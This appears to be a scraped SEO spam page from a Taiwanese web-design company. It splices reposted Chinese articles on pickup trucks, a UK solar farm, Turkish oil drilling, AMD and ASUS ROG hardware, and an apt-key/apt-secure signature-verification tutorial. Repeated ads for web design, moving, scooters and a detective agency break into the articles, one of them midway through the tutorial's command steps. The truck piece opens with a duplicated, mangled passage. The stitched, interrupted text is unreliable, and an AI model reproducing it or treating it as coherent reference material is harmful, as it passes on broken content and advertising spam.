真男人就應該開這種車越野、家用、動力全能的汽車!_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

7L V8自然吸氣發動機,這向來裝載在超級跑車上的利器如今卻裝載到豐田坦途上,一腳油門下去,V8發動機的咆哮直達心靈,重重地衝擊你的內心,甚至讓你這種可怕的聲浪融為一體,這是一種會上癮的行為,不過在此之前你要考慮一下剛才那一腳油門值多少錢,畢竟這是一輛“耗油老虎”,百公里油耗基本是20L左右的了,油門重點隨時突破20L。

福特F150

如果說起福特F150的話可能沒有多少人會認識,但是如果說是福特猛禽的話,相信很多人都會知道,車如其名真真是一輛“猛禽”,兇猛十分,雖然以前那個大排量V8自然吸氣發動機被現在的3.5T V6 渦輪增壓發動機所代替,但是依舊有着強悍的動力以及有着更低的油耗,依然的魅力十足,只是在野外咆哮時聲音沒有以往那麼澎湃。而它在野外可謂是一方霸主,強悍的四驅系統,加上多種駕駛模式征服野外還不是一件輕而易舉的事情?另外貨倉使用了鋁合金材料,使得它在眾多皮卡中重量上佔了不少優勢,雖然被雪佛蘭黑了一把硬度。

豐田坦途

5.7L V8自然吸氣發動機,這向來裝載在超級跑車上的利器如今卻裝載到豐田坦途上,一腳油門下去,V8發動機的咆哮直達心靈,重重地衝擊你的內心,甚至讓你這種可怕的聲浪融為一體,

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

這是一種會上癮的行為,不過在此之前你要考慮一下剛才那一腳油門值多少錢,畢竟這是一輛“耗油老虎”,百公里油耗基本是20L左右的了,油門重點隨時突破20L。不過帶來的動力表現又是非常可怕的,6.87s的百公里加速時間,要知道這是一輛2.7噸的怪獸,是一般家用轎車的兩倍重量,在外面奔跑起來有着一種極強的氣勢以及震懾力,這后視鏡看到它還是乖乖讓路吧,說不定它要去征服哪個無人區,而且即使是一輛5.7L V8的“農用机械”,它依然保持着豐田的低故障率,起碼不用擔心發生故障的問題,不過貨倉就是加個備用油箱而已。

道奇 Ram

大排量V8發動機這是應該說是美國人玩得最溜,所以這和福特猛禽同出一個國家的道奇Ram同樣性能味十足,而且始終保留5.7L V8發動機的動力總成,畢竟作為一台充滿美國氣息的高端皮卡,氣勢是不可以失掉的。只是在性能方面是弱於福特猛禽以及豐田坦途這些車型,就差了在離地間隙上,不過內飾方面的粗糙做工也是“很美國范”,所以不少人還是選擇福特猛禽或者是豐田坦途,雖然高配有着可調節式懸挂,但是價格也由50萬左右升到了70萬,着實不划算。

這些高端皮卡都有着非常強大的性能,能給以你力量感、征服感以及安全感,要是不能打動你的話着實有點難,而且由於“農用机械”的商品屬性又或者是平行進口車的身份使得他們不到50萬就可以買到了,相對它們的性能來說,真的是性價比很高。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

聯合國氣候峰會COP26因武漢肺炎延期 專家:把握轉型低碳經濟良機_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

是否解決環境破壞隱憂?英國最大太陽能廠 Cleve Hill 亮綠燈_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

摘錄自2020年5月26日科技新報報導

Cleve Hill 是由英國 Hive Energy 與德國 Wirsol 合作推出的太陽能電廠計畫,預計斥資 4.5 億英鎊,占地 900 英畝、約有 88萬 片太陽能,發電容量預計超過 350MW,每年除了可供應 9萬1000 戶家庭用電,為穩固電網與儲存電力,也會搭載 350MWh 儲能系統 Graveney 。

不過開發案難免衝擊環境,而 Cleve Hill 遇到的難題非同小可,尤其太陽能電廠的面積與 6 座足球場相當,又離肯特(Kent)濕地、生物多樣性區域非常近,案場勢必會影響小辮鴴、黑雁、歐金斑鴴與澤鵟等鳥類,以及蝙蝠生態。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

為了降低對環境的影響,根據 Cleve Hill 在 5 月初提出的新計畫,將會設立 138 公頃的棲息地管理區(Habitat Management Area),保護當地的自然資源,太陽能電場與撒克遜海岸小徑(Saxon Shore Way)中間也會有 63 公尺的緩衝區。

目前這座電廠因為容量大於 50MW,為國家重大基礎設施專案(NSIP)之一,該公司已經在 2018 年夏季申請開發許可令(DCO),似乎有機會對此案亮綠燈,預計會在28日收到開發許可。一旦收到獲准,預計會在 2021 年開始建設 Cleve Hill ,並期望在 2023 年前運轉發電。

能源議題
能源轉型
國際新聞
英國
太陽光電
鹽灘
濕地保育
水鳥
緩衝區
新能源

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

吹皺東地中海一池春水後 土耳其將在黑海鑽探石油_網頁設計公司

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

摘錄自2020年5月15日中央社報導

土耳其能源部長唐梅茲今(14日)表示,征服者號鑽井船自7月開始將首度前往黑海進行鑽探。他並宣示會繼續依照計畫進行東地中海能源鑽探的決心。唐梅茲(Fatih Donmez)今天接受安納杜魯新聞社(Anadolu Agency)專訪時作以上表示。

東地中海發現離岸能源後,已經成為能源爭奪的引爆點。1974年賽島希臘裔曾試圖發動政變與希臘合併,土耳其以保護土裔為由出兵占領賽島北部1/3土地,並於1983年扶植土裔成立北賽,但國際僅承認希裔控制的南賽。

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。

土耳其是唯一承認北賽的國家。南賽當局認為土耳其的鑽探作業違反國際法,並且強調對於相關油氣資源的決定屬於南賽主權的範疇。土耳其則不接受南賽政府與周邊國家達成的專屬經濟區協議。歐洲聯盟去年曾對土耳其「展開非法鑽探活動」進行制裁,展現對歐盟成員國南賽的堅定支持。

生活環境
能源議題
能源轉型
國際新聞
土耳其
石油探鑽
黑海
石油

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

AMD 推出號稱 2021 最強筆電處理器 Ryzen 5000 系列_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

AMD 在今日 CES 2021 的主題演講中發表了旗下最新 Ryzen 5000 筆電處理器,陣容中絕大多數都是採用該公司的 7nm「Zen 3 」架構,而會中主講人更是將該系列稱為 「有史以來效能最強大的筆電處理器」,H 與 U 兩個系列面向截然不同、各有需求的用戶而生。

AMD 推出號稱 2021 最強筆電處理器 Ryzen 5000 系列

與前一代產品同樣,5000 處理器群中分成兩個類別,分別為針對遊戲與創作者筆電而生的 H 系列與適用於輕便攜帶筆電的 U 系列,在兩個類別中包含了 Ryzen 3、Ryzen 5、Ryzen 7 和 Ryzen 9 四種等級,分別對應於 Intel 的 Core i3、Core i5、Core i7 和 Core i9 的簡化版本。除了新的 HX 系列外,H 系咧中還保留了在 4000 系列中看到的 H 與 HS 後綴型號。

U 系列主打 8 核心、16 執行緒的 Ryzen 7 5800U,具備 1.9GHz 時脈(Boots to 4.4 GHz),AMD 宣稱該處理器可提供輕薄筆電中最快速的生產效率。根據該公司提供的基準測試,在 PCMark 10 上的效能比 Intel Core i7-1165G7 高出 1.23 倍,包括在 Excel、Microsoft Edge 在內的文書辦公應用測試中皆可超越對手,不過在 PowerPoint 上兩者不分軒輊,Word 的表現上則是 Intel 大勝。AMD 還表示 5800U 可提供長達 17.5 小時的續航力,最長可擁有 21 小時影片播放。

H 系列中最強悍的莫過於 Ryzen 9 5980HS,同樣具備有 8 核心與 16 個執行緒,時脈為 3.0GHz(Boots to 4.8GHz),AMD 宣稱這是你可以找到最快速的行動處理器了。根據官方數據,Ryzen 9 5980HS 在 Cinebench R20 上在單執行緒效能達到 601(Intel 為 514)和多執行緒效能為 4349 (Intel Core i9 為 3892)都領先於 Intel Core i9-10980HK,並且從兩方面都擊敗了較新的 Core i7-1185G7。H系列中最新產品是 HX 系列處理器,AMD 將其定位為專業遊戲等級,並表示 Ryzen 9 5900HX 的 TDP 為45W +,將為 2021 年最佳遊戲筆電們提供強大的處理能力。根據官方提供的基準測試,與 Core i9-10980HK 相比,這款處理器在 Cinebench R20 的單執行緒測試方面勝過約 14%;在測試整體 CPU 效能的 Passmark P10 上高出 37%;在評估圖形效能的 3DMark Fire Strike Physics 測試則超出21%。 

在會中,AMD 表示今年將會有超過 150 款配備 Ryzen 5000 系列處理器的筆電推出,Lenovo、Gigabyte、Acer、Razer 等 OEM 廠商均表態支持,而 AMD CEO Dr. Lisa Su 更表示希望能在 2 月看到首部筆電上市。

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

全系列產品規格

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

ROG 遊戲筆電 Zephyrus、Strix、Flow 與 TUF 全陣容更新,輕薄、強效一次擁有_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

CES 2021 開展,Asus 旗下專司遊戲與電競類產品的 ROG 這回趁勢推出不少產品,其中包含各系列的多款筆電,不管是重兵器等級或是輕薄硬漢,陣容相當精采,要外型有外型,內在更是威力驚人,讓你隨身擁有高行動力,無論工作、娛樂,一機在手什麼都行。

ROG 遊戲筆電全陣容更新,輕薄、強效應有盡有

ROG Zephyrus G14 / G15 / Duo
新一代的西風之神來了!在這一代中,Asus 以 AMD 最新處理器與與 Nvidia 最新顯卡的搭配來對 Zephyrus G14 / G15 進行一系列的更新。除前述兩部分的提升外,兩款機型皆提供新的顯示器選項,G14 現在附帶 144Hz 顯示器,另外還加上 2K 120Hz 的版本,Asus 表示能夠涵蓋整個 DCI-P3 色域;G15 則配備了 165Hz QHD 顯示器,同樣擁有 100% DCI-P3 色域。

在上蓋的 AniMe Matrix LED 像素 LED 顯示部分還增加了新的動畫效果,用戶可以將虛擬寵物設定在上面與自己進行互動(雖然旁人看你逗弄筆電會覺得很詭異)。

Zephyrus G15 在設計上有一些另外的改良,師法 G14 受歡迎的 ErgoLift 轉軸,在翻蓋後可以將鍵盤稍微抬高以提升散熱效果,觸控板部分也比前一代大了 20%,還將麥克風從過去的 2 個增加到 3 個,另外在上蓋 AniMe Matrix LED 部分則換成了可依照光線角度不同閃閃發亮的幻彩反光設計。。

兩款機型皆配備有改良過的喇叭,內建 Dolby Atmos 軟體與雙向 AI 消噪功能,另外這兩款機型都擁有 90Wh 的電池容量。Zephyrus G14 / G15 售價並未公布, 預計會在 2021 年第一季上市。

在去年首度推出的雙螢幕旗艦款 Zephyrus Duo 今年也有更新,採用 AMD 處理器(最高支援 Ryzen 9 5900HS 及 Nvidia GeForce RTX 3080),螢幕也採用 4K / 120 Hz 的 IPS 面板,外觀改為黑色,沒有打開蓋子前真是要多低調有多低調。


ROG Strix 2o21

這回 Strix 共推出有兩個不同的系列,分別為 Strix G 與 Strix Scar,共四種不同型號。
Strix Scar 以黑色為主色,再搭配橡膠碳灰、黑色、銀色與桃紅的可客製轉軸蓋,A 件和上抗指紋的亮面 ROG 像素圖騰, C 件局部半透處理,在機身側面飾以相當醒目的 RGB 光條,上蓋更免不了象徵品牌的發光 Logo,機身底部採用多個大型腳墊,真正做到防滑穩定的效果。以隱藏式 Air Arm 取代傳統轉軸設計,在闔上筆電時不會直接暴露在外。

Strix G 則以霧面與 Pixel 像素圖騰搭配的鋁合金 A 件和 C 件,共有黑、、灰兩色,搭配黑、橘兩色轉軸蓋,上蓋的 ROG Logo 為鏡面設計,同樣在機身側面配置 RGB 光條。

除標準版本外,還有一款桃紅色特別版,在上蓋以各種 ROG 產品原色的特色圖紋,加上桃紅色轉軸蓋、ROG Logo,WASD 按鍵也是用特別的桃紅色點綴,當然還有桃紅色的大型腳墊,同捆隨附桃紅色大型滑鼠墊。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

這兩款機型在鍵盤部分採用 Asus 自有光軸機械鍵盤,而玻璃觸控板部分也加大了 85%,可切換為獨立數字按鍵模式,另外在方向鍵部分也加大,讓大家按得更順手,連接埠主要配置於機身上側,外接各種裝置也不卡手。在這一代的螢幕佔比相較於去年更加提升,極窄邊框副與它 85% 的螢幕佔比,體型卻比去年的機型更小。硬體配備方面採用最新 AMD 處理器、Nvidia GrForce 獨立顯卡,特殊的靜音散熱設計以最低的噪音來維持系統的穩定,螢幕更新率最高可達 165Hz。配備 90Wr 電池,續航最高可達 12.7 小時,支援快速充電技術,從 0 充到 50% 電力僅需 30 分鐘,搭配隨附的 100W USB-C  PD 充電器更是事半功倍。

ROG Flow X13、XG Mobile
Flow X13 是 ROG 系列中首度出現的 2in1 翻轉筆電,鎂合金機身上蓋呼應品名以具流動感的深淺線條始知看起來別具質感,機身可依照個人需求 360 度翻轉,在上蓋還有金屬 ROG 銘牌畫龍點睛。厚度僅有 15.8mm,重量只有 1.3Kg,輕薄好帶卻又不犧牲高效能。上覆康寧大猩猩玻璃的 13.4 吋觸控螢幕搭配極窄邊框,以 16:10 的顯示比例,為你帶來更好的視覺效果。採用最新 AMD Ryzen 9 8 核心處理器,Nvidia GeForce 獨立顯卡,記憶體最高可達 32GB LPDDR4X 4266MHz (雙通道),儲存容量最高可至 1TB M2 NVMe PCIe 3.0 SSD。支援快速充電技術,可在 30 分鐘內將設備電力從 0 充至 50%

XG Mobile 是一款採用 PCIe Gen 3 的 EGPU,承襲 Flow 的流動線條設計,從正面 ROG 鏤空中可見紅色燈光若隱若現,在機背部分配備有支架,以確保良好的空氣流動散熱效果,內建 280W 充電變壓,重量 1kg,厚度僅 29mm,在機身上配置有相當豐富的連接埠,可供你隨需求擴充外部裝置。

ASUS TUF Dash
TUF 系列以強韌、輕薄便攜與強效為主軸,這回的新機承襲這些因素,以更讓人驚豔的樣貌登場。ASUS TUF Dash 通過 MIL-STD 軍規認證,設計簡潔,視覺上相當時髦,深灰、月白兩種機身配色經典耐看,19.9mm 的厚度,重量只有 2.0Kg,有別於一般強效遊戲筆電帶來的厚重感。IPS 螢幕擁有 240Hz 的高更新率與迅捷反應速度,視覺效果超順暢。擁有藍色背光靜音鍵盤,可承受 2 千萬次敲擊,在 WASD 按鍵部分還重點突出,讓你玩遊戲時手指定位一目了然。

這款機型為全球首款搭載第 11 代 Intel H35 系列處理器的筆電,也將會搭載最新的 Nvidia 獨立顯卡。在記憶體與 SSD 部分因應使用者需求採易於升級的設計,擁有更多未來擴展空間。內部採用 5 根散熱管加上低噪音自我清潔冷卻風扇系統,散熱速度快,維持高負載運行時的系統穩定性。支援高速傳輸的最新 Thunderbolt 4 與 WiFi 6 連接,以及 USB-C 100W PD 充電,搭載最新快充技術,30 分鐘即可充至 50% 電力。

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

全球首款配備 HDMI 2.1 的 32 吋 4K 144Hz 電競螢幕 ROG Swift PG32UQ 發表_網頁設計公司

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。

對遊戲玩家來說,除了系統、主機之外,螢幕也是重中之重,除了觀乎視覺享受,更能左右你的遊戲成績。ROG 今日(1/13)發表了首款支援 HDMI 2.1 的 32 吋 4K 144Hz 電競螢幕 ROG Swift PG32UQ ,擁有足夠的頻寬,無論與電腦或家用主機連皆使用,都能擁有比其他電競螢幕更好的視覺體驗。

全球首款配備 HDMI 2.1 的 32 吋 4K 144Hz 電競螢幕 ROG Swift PG32UQ 發表

ROG Swift PG32UQ 配備 4K 144Hz 4K IPS 面板,反應時間僅有 1ms;支援 HDR 600,亮度峰值可達到 600cd/m2,色彩方面經過原廠調校,可呈現 100% sRGB 與 98% DCI-P3 色域範圍,另外支援 NVIDIA G-Sync、Overdrive 與 ELMB Sync。

在螢幕後方提供了 DisplayPort 1.4 與 2 個 HDMI 2.1 訊號輸入連接埠。只要你的訊號輸入設備能夠支援,透過 DisplayPort 1.4 連接可以使該螢幕在 PC 上以 144Hz 更新率顯示 4K 影像,Asus 說明,該功能主要運用一種稱為 DSC 的訊號壓縮技術,可對 UHD 的訊號進行壓縮並且不會降低影像品質。 HDMI 2.1 部分則提供了 VRR 更新率同步、自動低延遲模式與 4K@120Hz 等,因為頻寬夠大,可以與 PC、Xbox Series X 和 PS5 相容,並且能夠確實以 120fps 的速度來呈現 4K 高解析度。

雖然上市日期與售價不明,但以已經上市的 Acer Nitro XV28 這款擁有 4K 144Hz IPS 顯示器的價格來評估,售價不太可能會低於 899 美元,如果想要入手,還要多存點錢。不過在會中也提到接著正在規劃 ROG STRIX XG43UQ 與 TUF GAMING VG28UQ 兩款不同尺寸的 4K 電競螢幕,預期應該都會支援 HDMI 2.1,倒是可以期待一下。

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

apt-key 密鑰管理,apt-secure 原理 驗證鏈 驗證測試_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

apt-key

用於管理Debian Linux系統中的軟件包密鑰。每個發布的deb包,都是通過密鑰認證的,apt-key用來管理密鑰。

  • apt-key list

    列出已保存在系統中key。包括 /etc/apt/trusted.gpg/etc/apt/trusted.gpg.d/目錄下的密鑰

  • apt-key add <keyname >

    把下載的key添加到本地trusted數據庫中,使用描述性名稱,以gpg或asc作為文件擴展名

  • apt-key del <keyname>

    從本地trusted數據庫刪除key。

  • apt-key update (棄用,直接刪除和添加)

    更新本地trusted數據庫,刪除過期沒用的key。

  • apt-key adv --recv-key

    下載並添加到受信任密鑰環中(不做任何檢查,有風險)

    http://manpages.ubuntu.com/manpages/bionic/en/man8/apt-key.8.html

目錄、文件

/var/cache/apt/archives

已經下載到的.deb軟件包都放在這裏(用 apt-get install 安裝軟件時,軟件包的臨時存放路徑)

/var/lib/apt/lists

存放已安裝和未安裝的軟件列表

使用apt-get update命令會從/etc/apt/sources.list指定的源更新軟件列表,並保存到該目錄

/etc/apt

sources.list 官方軟件源地址(配置為阿里源)

souces.list.d 目錄下是第三方軟件源地址,裏面的文件必須以.list結尾

https://askubuntu.com/a/82844

/etc/apt

trusted.gpg: local trusted keys, new keys will be added here

trusted.gpg.d:additional keyrings can be stored here (by other packages or the administrator)

/usr/bin/

通過 apt 安裝的軟件,命令存放在 /usr/bin/ 目錄下

apt-secure

參考

http://manpages.ubuntu.com/manpages/bionic/en/man8/apt-secure.8.html

SecureApt

基礎元素

Release 文件

Release文件包含分發元數據和索引文件的校驗值

apt 要求隨 Release 文件一起發布一個 Relesase.gpg 的簽名文件,用來驗證安裝包提供者的信息

InRelease 文件

InRelease文件內聯gpg簽名(數據和簽名在一個 InRelease 文件中)

lfp@legion:/var/lib/apt/lists$ ls
...
# 兩個文件
deb.nodesource.com_node%5f12.x_dists_bionic_InRelease
deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages
...
# 三個文件
dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages
dl.google.com_linux_chrome_deb_dists_stable_Release
dl.google.com_linux_chrome_deb_dists_stable_Release.gpg
...

區別:在下載時避免競爭情況

The only difference to Release is that the signature is not detached, but within the file. This is a first step towards getting rid of race conditions when updating Packages/Sources files and mirror updates
running

https://lists.debian.org/debian-devel-announce/2009/11/msg00001.html

校驗值MD5

保護apt安全的基礎

debian archive 包含一個Release文件,隨安裝包一起更新,裡面包含了分發元數據和Package的MD5

Package文件里包含安裝信息以及安裝文件的MD5

驗證鏈

1)驗證簽名文件

簽名文件用來保證Package文件的正確性

  • 如果無法下載 Release 文件或 Release.gpg 簽名無效,則報錯

    W: GPG 錯誤……下列簽名無效 EXPKEYSIG……

    E: 倉庫……沒有数字簽名

    N: 無法安全地用該源進行更新,所以默認禁用該源

    缺少公鑰

  • apt 使用 gpg 來驗證簽名文件

    1. 獲取密鑰

      默認情況下,Debian 系統會預先安裝一些 Debian Archieve 的公鑰,保存在 /etc/apt/trusted.gpg文件中,第三方軟件密鑰需要通過apt-key add [.gpg] 安裝到/etc/apt/sources.list.d/目錄下

      一旦將密鑰添加到apt的密鑰環中,就相當於告訴apt信任該密鑰簽名的一切東西

      如果公鑰丟失,可以通過下面的命令到公鑰服務器上尋找

      apt-key adv --keyserver <server_url> --recv-key <keyId>

      1. 如果更新失敗可能是防火牆端口問題,嘗試指定常規HTTP端口80

      2. 如果連接的是公司的代理服務器,可以嘗試下面的方法

         --keyserver-options http-proxy=<myProxy> --keyserver keyserver.ubuntu.com
        
    2. 通過gpgv簽名驗證工具來驗證簽名的有效性

      詳細介紹參見博文GPG配置、命令、實例與apt-key密鑰測試

      • gpgv 認為apt密鑰環中的密鑰都是可信的,不會檢查其是否過期或被吊銷

      • 通過--keyring [.gpg file]指定密鑰環,-v可以显示更多信息

        apt 密鑰環保存在 /etc/apt/trusted.gpg 或 /etc/apt/trusted.gpg.d/xxx.gpg 中

      • 單獨簽名驗證

        gpgv --keyring /etc/apt/trusted.gpg [Release.gpg file] [Release file]

      • 內聯簽名驗證

        ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

        網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

        gpgv --keyring /etc/apt/trusted.gpg [InRelease file]

2)驗證Package文件

Package 文件中包含軟件不同版本的信息,用來保證deb文件的正確性

  1. 從Release文件或InRelease文件中提取Package文件的MD5

    sed -n "s,main/binary-amd64/Packages$,,p" [Release / InRelease file]

  2. 計算Package文件的MD5

    md5sum [Packages file]

3)驗證安裝包

  1. 從Package文件中提取deb文件的MD5

    sed -n "s/MD5sum: //p" [Packages file]

  2. 從apt緩存中提取軟件的MD5

    apt-cache show [package_name] | sed -n "s/MD5sum: //p"

  3. 計算本地已下載deb文件的MD5

    md5sum [.deb file]

驗證測試

chrome 驗證

特點

  1. chrome 是Release文件和簽名文件[.gpg]分離的
  2. 使用本地密鑰環驗證(保存在 /etc/apt/trusted.gpg)

官方聲明

https://www.google.com/linuxrepositories/

Release.gpg文件

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAABCAAGBQJeqbVjAAoJEHi9ZUc8s70TgUIP/RzWWeDxvtGrmLoWt0csiD+O
wrAr86yDSSzFasjKPcS+SQzs5FnCamFdTT7KD2C6thwRgCLR3oumHMuKC5hnb9/4
GP7qMCDYQEMR2IQcWfKPoT2fAX1eKDKJtv5qsAEdSb3uIW27zkdvUA4j4N6w4toA
RA24VV/VSK1p3T4j3HQzN6fOta0wA3onN9bPrcXZAig7Tm78SKbjYEzd1jxIeQQE
aTKP6AfHPnn8UFNkVyifigsd1Usaex3BJumzHq+jLhTtJDcLjqQNQdcKs48xY0Ek
lZJHY1w/p8e06Y16fXxO/Mh6+Kmu+ZBOKEo3VjshBOISASkMXG/JPEjWadP62A8S
lprRALXaWLcF5P5RYjdqhatCxH37SQr3iqqQmdC/PSCDq/Z5cYiVIElyUeHnMZ6i
X6wYvOd1n9p64VgUAINpbY0NeWZc0Kj1pMXaL+bohUnH8YWDfIhFdQDdQbd0DxBY
xgSTAuUn4DkMKZvtqVEsAIZk5VrYjWykdvdaZad8DdAhVxuHzl1xVEXRDyDhxvUN
IE2oOMv1N5MrXKHtGJLITlv0SAtbZRSaez91dudr9eoln8bZ+oFI9VrHO0xKO2/W
/VRMExkQC51OHCEtZKfsqqSAEG0sctvagq5MElCElZkmD/P72MuznRBgjbfeKs/B
JMSaAmp1mus5Mo7BZND6
=/bSj
-----END PGP SIGNATURE-----                      
驗證簽名
lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg dl.google.com_linux_chrome_deb_dists_stable_Release.gpg dl.google.com_linux_chrome_deb_dists_stable_Release
gpgv: 簽名建立於 2020年04月30日 星期四 01時12分03秒 CST
gpgv:                使用 RSA 密鑰 78BD65473CB3BD13
gpgv: 完好的簽名,來自於“Google Inc. (Linux Packages Signing Authority) <linux-packages-keymaster@google.com>”

Release文件

包含Package文件的MD5

Origin: Google LLC
Label: Google
Suite: stable
Codename: stable
Version: 1.0
Date: Wed, 29 Apr 2020 17:11:57 UTC
Architectures: amd64
Components: main
Description: Google chrome-linux software repository
MD5Sum:
 2e55673e5a00d8837090d0922e198520 4599 main/binary-amd64/Packages
 eafbe9cc415e53d2280c86a0d64be27d 1133 main/binary-amd64/Packages.gz
 156e5ea7a0c6bed5973a68a45e546dc9 151 main/binary-amd64/Release
SHA1:
 9525687fab2b772c511c9e9ae5c7c7b6d8b92e2a 4599 main/binary-amd64/Packages
 c364469ff8578e7c7323b030ad3e459b9192a4ea 1133 main/binary-amd64/Packages.gz
 0f4348c2d4d7cc1f8e59b5934d87f1ca872f6e34 151 main/binary-amd64/Release
SHA256:
 667d27f55652d51c57c0eaab074dd2d365e373ebd5b6e1277b18606cc5177c1b 4599 main/binary-amd64/Packages
 7dc589a54517f36e7786b101555e9f1d2c6e2058b1b3743c575eb8c165094620 1133 main/binary-amd64/Packages.gz
 c1e3c9318381862306adcdc4fd4fe2d85be8aa4c4f3dcbb40fce80413f588286 151 main/binary-amd64/Release

提取Package文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s,main/binary-amd64/Packages$,,p" dl.google.com_linux_chrome_deb_dists_stable_Release
 2e55673e5a00d8837090d0922e198520 4599 
 9525687fab2b772c511c9e9ae5c7c7b6d8b92e2a 4599 
 667d27f55652d51c57c0eaab074dd2d365e373ebd5b6e1277b18606cc5177c1b 4599 

計算Package文件的MD5
lfp@legion:/var/lib/apt/lists$ md5sum dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages 
2e55673e5a00d8837090d0922e198520  dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages

Package文件可信

2e55673e5a00d8837090d0922e198520 一致

Package文件

包含deb文件的MD5

# 包含各種版本的chrome
Package: google-chrome-beta
...
Package: google-chrome-stable
Version: 81.0.4044.129-1
Architecture: amd64
Maintainer: Chrome Linux Team <chromium-dev@chromium.org>
Installed-Size: 229948
